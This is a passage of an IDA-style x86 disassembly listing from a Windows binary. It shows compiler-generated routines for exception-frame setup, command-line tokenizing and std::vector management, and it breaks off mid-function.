		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A4A0	proc near		; CODE XREF: sub_401E47j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013E3
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4E0:				; CODE XREF: ___:0040194Cj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_402112
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A510	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A551
		mov	esi, [esp+44h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		jmp	loc_40A684
; ---------------------------------------------------------------------------


loc_40A551:				; CODE XREF: sub_40A510+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_40169A
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014DD
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A635
		push	ebx


loc_40A591:				; CODE XREF: sub_40A510+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A5A0


loc_40A597:				; CODE XREF: sub_40A510+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A597


loc_40A5A0:				; CODE XREF: sub_40A510+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A5AF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A5AF:				; CODE XREF: sub_40A510+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401997
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5FF
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5CB:				; CODE XREF: sub_40A510+D5j
		cmp	cl, 22h
		jnz	short loc_40A5DC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A5E7
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5DC:				; CODE XREF: sub_40A510+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5CB


loc_40A5E7:				; CODE XREF: sub_40A510+B9j
					; sub_40A510+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A62A
		add	eax, 2
		jmp	short loc_40A626
; ---------------------------------------------------------------------------


loc_40A5FF:				; CODE XREF: sub_40A510+B5j
		test	cl, cl
		jz	short loc_40A614
		mov	dl, [edi]


loc_40A605:				; CODE XREF: sub_40A510+102j
		cmp	cl, dl
		jz	short loc_40A614
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A605


loc_40A614:				; CODE XREF: sub_40A510+F1j
					; sub_40A510+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A62A
		cmp	cl, [edi]
		jnz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A626:				; CODE XREF: sub_40A510+EDj
		mov	[esp+48h+var_3C], eax


loc_40A62A:				; CODE XREF: sub_40A510+DAj
					; sub_40A510+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A591
		pop	ebx


loc_40A635:				; CODE XREF: sub_40A510+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A64D
		push	offset byte_448F30
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A64D:				; CODE XREF: sub_40A510+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F82
		mov	eax, [eax]
		push	eax


loc_40A65A:				; CODE XREF: sub_40A510+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401596
; ---------------------------------------------------------------------------


loc_40A684:				; CODE XREF: sub_40A510+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A510	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A710	proc near		; CODE XREF: sub_4016B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A710	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A750	proc near		; CODE XREF: sub_40202Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_40A750	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A780	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015E1
		retn	4
sub_40A780	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7A0	proc near		; CODE XREF: sub_401479j

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A7A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A7C0:				; CODE XREF: ___:004014A6j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A800	proc near		; CODE XREF: sub_4017EEj
		mov	eax, [ecx+9]
		retn
sub_40A800	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A820	proc near		; CODE XREF: sub_4014DDj
		mov	eax, [ecx+9]
		retn
sub_40A820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A840	proc near		; CODE XREF: sub_40169Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A840	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A870	proc near		; CODE XREF: sub_401596j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A870	endp

; ---------------------------------------------------------------------------
		xor	eax, eax


loc_40A898:				; DATA XREF: ___:0044653Co
					; ___:00446580o ...
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A8CA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A8CA:				; CODE XREF: sub_40A8C0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_401F82j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A908
		mov	ecx, esi
		call	sub_401F05


loc_40A908:				; CODE XREF: sub_40A8F0+Fj
		mov	ecx, esi
		call	sub_401D2F
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8F0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A930	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401659
		push	eax
		mov	ecx, esi
		call	sub_4016F9
		pop	esi
		retn	4
sub_40A930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A960	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, [ecx+4]
		retn
sub_40A960	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A980	proc near		; CODE XREF: sub_401659j
		mov	eax, [ecx+8]
		retn
sub_40A980	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9A0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D2F
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013D9
		mov	ecx, edi
		call	sub_401D2F
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A9A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40AA10


loc_40AA01:				; CODE XREF: sub_40A9F0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018C0
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40AA01


loc_40AA10:				; CODE XREF: sub_40A9F0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA30:				; CODE XREF: sub_401F05j
		push	0FFFFFFFFh
		push	offset loc_439DB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_440088
		push	edx
		call	sub_437B22
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AAB0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40AAB0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAD0	proc near		; CODE XREF: sub_4013D9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB9B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AB03
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AB05
; ---------------------------------------------------------------------------


loc_40AB03:				; CODE XREF: sub_40AAD0+26j
		mov	ebp, edi


loc_40AB05:				; CODE XREF: sub_40AAD0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402194
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB9B:				; CODE XREF: sub_40AAD0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABF9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402194
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABF9:				; CODE XREF: sub_40AAD0+D8j
		test	edi, edi
		jbe	short loc_40AC33
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020CC
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AC33:				; CODE XREF: sub_40AAD0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AAD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACC0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACF2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ACD6:				; CODE XREF: sub_40ACC0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40213F
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ACD6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACF2:				; CODE XREF: sub_40ACC0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ACC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD10	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AD37
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AD26:				; CODE XREF: sub_40AD10+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40213F
		add	esi, 4
		dec	edi
		jnz	short loc_40AD26
		pop	esi
		pop	ebx


loc_40AD37:				; CODE XREF: sub_40AD10+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AD10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD50	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014D8
sub_40AD50	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401E01
		add	esp, 8
		retn	8
sub_40AD80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADB0	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ADCD
		mov	edx, [esp+arg_8]
		push	esi


loc_40ADC1:				; CODE XREF: sub_40ADB0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ADC1
		pop	esi

locret_40ADCD:				; CODE XREF: sub_40ADB0+Aj
		retn
sub_40ADB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADE0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AE02
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADF1:				; CODE XREF: sub_40ADE0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADF1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AE02:				; CODE XREF: sub_40ADE0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40ADE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AE40	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AE4A
		xor	eax, eax


loc_40AE4A:				; CODE XREF: sub_40AE40+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_40AE40	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE70	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE8B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE8B:				; CODE XREF: sub_40AE70+11j
		retn
sub_40AE70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401E88j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F014
		retn
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AEC0:				; CODE XREF: ___:00401721j
					; ___:loc_402045j
		push	esi
		mov	esi, ecx
		call	sub_40204F
		test	byte ptr [esp+8], 1
		jz	short loc_40AED8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AED8:				; CODE XREF: ___:0040AECDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEF0	proc near		; CODE XREF: sub_40204Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43F014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_40174E


loc_40AF21:				; DATA XREF: sub_40AF32o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF32	proc near		; DATA XREF: ___:004401C4o
		mov	eax, offset loc_40AF21
		retn
sub_40AF32	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF60	proc near		; CODE XREF: sub_4014C4j
		call	sub_401712
		jmp	sub_4017BC
sub_40AF60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF80	proc near		; CODE XREF: sub_401B2Cj
		call	sub_401627
		jmp	sub_4017CB
sub_40AF80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AFA0	proc near		; CODE XREF: sub_4013DEj
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_401429
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AFC2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: sub_40AFA0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AFA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFE0:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B007
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_401767
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: ___:0040AFE9j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B020	proc near		; CODE XREF: sub_40174Ej
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B03C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401762
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40B03C:				; CODE XREF: sub_40B020+8j
		pop	esi
		retn
sub_40B020	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B050:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B070	proc near		; CODE XREF: sub_401429j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B070
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40B09E:				; DATA XREF: sub_40B0B1o
